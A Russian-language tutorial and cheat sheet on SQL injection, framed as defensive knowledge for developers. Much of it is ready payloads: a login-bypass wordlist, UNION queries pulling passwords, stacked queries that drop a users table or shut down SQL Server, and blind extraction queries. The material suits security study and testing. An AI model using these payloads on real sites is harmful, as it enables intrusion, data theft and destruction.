Взламываем сайты: шпаргалка по SQL инъекциям
Даже в 2019 SQL инъекции остаются актуальной угрозой. Любому разработчику необходимо знать врага в лицо. Наша статья будет отличным подспорьем для этого.
Типы SQLi
Существует 5 основных типов SQL инъекций:
- Классическая (In-Band или Union-based). Самая опасная и редко встречающаяся сегодня атака. Позволяет сразу получать любые данные из базы.
- Error-based. Позволяет получать информацию о базе, таблицах и данных на основе выводимого текста ошибки СУБД.
- Boolean-based. Вместо получения всех данных, атакующий может поштучно их перебирать, ориентируясь на простой ответ типа true/false.
- Time-based. Похожа на предыдущую атаку принципом перебора, манипулируя временем отклика базы.
- Out-of-Band. Очень редкие и специфические типы атак, основанные на индивидуальных особенностях баз данных.
Далее мы разберем их детальней.
Уязвимые точки
Уязвимые точки для атаки находятся в местах, где формируется запрос к базе: форма аутентификации, поисковая строка, каталог, REST-запросы и непосредственно URL.
Защита от SQLi
Для каждого сервера и фреймворка есть свои тонкости и лучшие практики, но суть всегда одинакова.
Нельзя вставлять данные в запрос напрямую. Всегда обрабатывайте ввод отдельно и формируйте запрос исключительно из безопасных значений.
Создавайте белые списки: их значительно труднее обойти, чем черные. Все названия таблиц, полей и баз должны быть заданы конкретными значениями в вашей программе. Это касается и операторов.
Естественно, не забывайте про ограничение прав доступа к базе.
Тем не менее, кибербезопасность – это тот случай, когда понимание принципов нападения – лучший способ защиты.
Классические атаки
Самый простой пример критически уязвимого для SQLi кода выглядит следующим образом:
userName = getRequestString("UserName"); request = "SELECT * FROM Users WHERE UserName = " + userName;
Представляя такой антипример, можно понять принцип действия атак, которые мы рассмотрим ниже.
Комментирование
Использование однострочных комментариев позволяет игнорировать часть запроса, идущую после вашей инъекции. Например, ввод в уязвимое поле Username запроса admin'-- позволит зайти на ресурс под администратором, потому что поверка пароля будет закомментирована. Конечно, сейчас такой тип уязвимости встречается очень редко, но помнить о ней стоит.
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
Многострочные комментарии могут справится с проверкой или определить тип базы данных. Например, подобные запросы обойдут примитивный текстовый анализ:
DROP/*some comment*/sampletable DR/**/OP/*random comment to cheat*/sampletable
А некоторые особые комментарии позволят определить тип базы данных в целях дальнейшей эксплуатации уязвимостей:
/*!Если поместить код в такой комментарий - он будет исполнен только в MYSQL. Можно даже ограничить минимальную версию*/ такой запрос вернёт ошибку деления на ноль, если MYSQL сервер выше указанной версии SELECT /*!!50100 1/0, */ 1 FROM tablename
Манипуляции со строками
Существует ряд более продвинутых способов обходить черные списки. Например, против фильтра кавычек можно использовать конкатенацию строк:
#SQL Server SELECT login + '-' + password FROM members #MySQL SELECT CONCAT(login, password) FROM members
В MySQL для обхода сложных паттернов можно представлять строки в шеснадцатиричном виде, с помощью функции HEX()
или вводить их посимвольно:
//0x633A5C626F6F742E696E69 == c:\boot.ini SELECT CONCAT('0x','633A5C626F6F742E696E69')) SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))
Обход аутентификации
Есть стандартный словарь, содержащий в себе основные запросы, для обхода уязвимой формы аутентификации. Впервые его опубликовали лет 10 назад и регулярно дополняют. Не забудьте прогнать через него формы регистрации на своем сайте:
' or 1=1 ' or 1=1-- ' or 1=1# ' or 1=1/* admin' -- admin' # admin'/* admin' or '1'='1 admin' or '1'='1'-- admin' or '1'='1'# admin' or '1'='1'/* admin'or 1=1 or ''=' admin' or 1=1 admin' or 1=1-- admin' or 1=1# admin' or 1=1/* admin') or ('1'='1 admin') or ('1'='1'-- admin') or ('1'='1'# admin') or ('1'='1'/* admin') or '1'='1 admin') or '1'='1'-- admin') or '1'='1'# admin') or '1'='1'/* 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 admin" -- admin" # admin"/* admin" or "1"="1 admin" or "1"="1"-- admin" or "1"="1"# admin" or "1"="1"/* admin"or 1=1 or ""=" admin" or 1=1 admin" or 1=1-- admin" or 1=1# admin" or 1=1/* admin") or ("1"="1 admin") or ("1"="1"-- admin") or ("1"="1"# admin") or ("1"="1"/* admin") or "1"="1 admin") or "1"="1"-- admin") or "1"="1"# admin") or "1"="1"/* 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
Union injection
UNION это SQL-команда, позволяющая вертикально комбинировать данные из разных таблиц в одну. Это одна из самых популярных и опасных классических инъекций.
Допустим, на сайте есть список товаров с уязвимой строкой поиска. Тогда, подобрав правильное количество колонок и определив их название, через UNION можно вывести практически любые данные.
SELECT name, price FROM products UNION ALL SELECT name, pass FROM members #Такой запрос позволит получить данные о таблицах и найти таблицу пользователей UNION(SELECT TABLE_NAME, TABLE_SCHEMA FROM information_schema.tables)
Последовательные запросы
Если целевой сервис работает на SQL Server и ASP/PHP, либо на PostgreSQL и PHP, можно использовать простой знак ';' для последовательного вызова вредоносных запросов:
#Удаление таблицы SELECT * FROM products WHERE productName = ""; DROP users-- #Выключение SQL Server SELECT * FROM products WHERE productName = ""; shutdown –
Возможный урон
Конкретных примеров и нюансов довольно много, не будем перечислять все. Главное, помните, что комбинируя эти приёмы и различные специфические функции, атакующий может получить полный доступ к базе и даже командной строке.
Error-Based
Чтобы побороть этот тип атак, достаточно запретить вывод ошибок на проде. Тем не менее, давайте на примере разберем, чем вам может грозить игнорирование этой меры.
Последовательное выполнение следующих запросов к SQL Server, позволит определить в тексте ошибки названия столбцов:
' HAVING 1=1 -- ' GROUP BY table.columnfromerror1 HAVING 1=1 -- ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 -- ..... ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- Если ошибки перестали появляться, значит столбцы закончились
Слепые инъекции
В более-менее хорошо сделанном приложении атакующий не увидите ни ошибок, ни результата UNION-атаки. Тут приходит очередь действовать вслепую.
Условные выражения
Атаки с использованием IF и WHERE – основа слепого метода. Они являются одной из причин, почему используемые вами операторы должны быть закодированы в программе, а не генерироваться абы как. Синтаксис для разных баз будет отличаться:
#MySQL IF(condition,true-part,false-part) #SQL Server IF condition true-part ELSE false-part #Oracle BEGIN IF condition THEN true-part; ELSE false-part; END IF; END; #PostgreSQL SELECT CASE WHEN condition THEN true-part ELSE false-part END;
Boolean-based
Если атакующий все же может получить информацию о наличии или отсутствии ошибки из HTTP-статуса, в сервисе имеется уязвимость к обычной слепой атаке. Рассмотрим запрос, который позволит нам при помощи алгоритма бинарного поиска посимвольно определить название первой таблицы и в дальнейшем всех данных:
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78-- #Этот запрос говорит нам, что ASCII-значение первого символа больше 78 #дальнейший перебор определит точное значение
Time-Based
Если атакующий не наблюдает никаких отличий в ответах сервера, остается полностью слепая атака. Примером будет использование функций SLEEP или WAIT FOR DALAY:
SELECT * FROM products WHERE id=1; WAIT FOR DELAY '00:00:15'
Конечно, реальные примеры будут выглядеть примерно как boolean-based, только true
и false
атакующий будет отличать по времени отклика. Недостатки такого метода очевидны. Если выбрать слишком маленькую задержку, будет сильное влияние сторонних факторов типа пинга. Если слишком большую – атака займет очень много времени и её, скорее всего, остановят.
Конечно, по SQLi можно писать целые книги, но мы постарались объяснить ключевые принципы с примерами.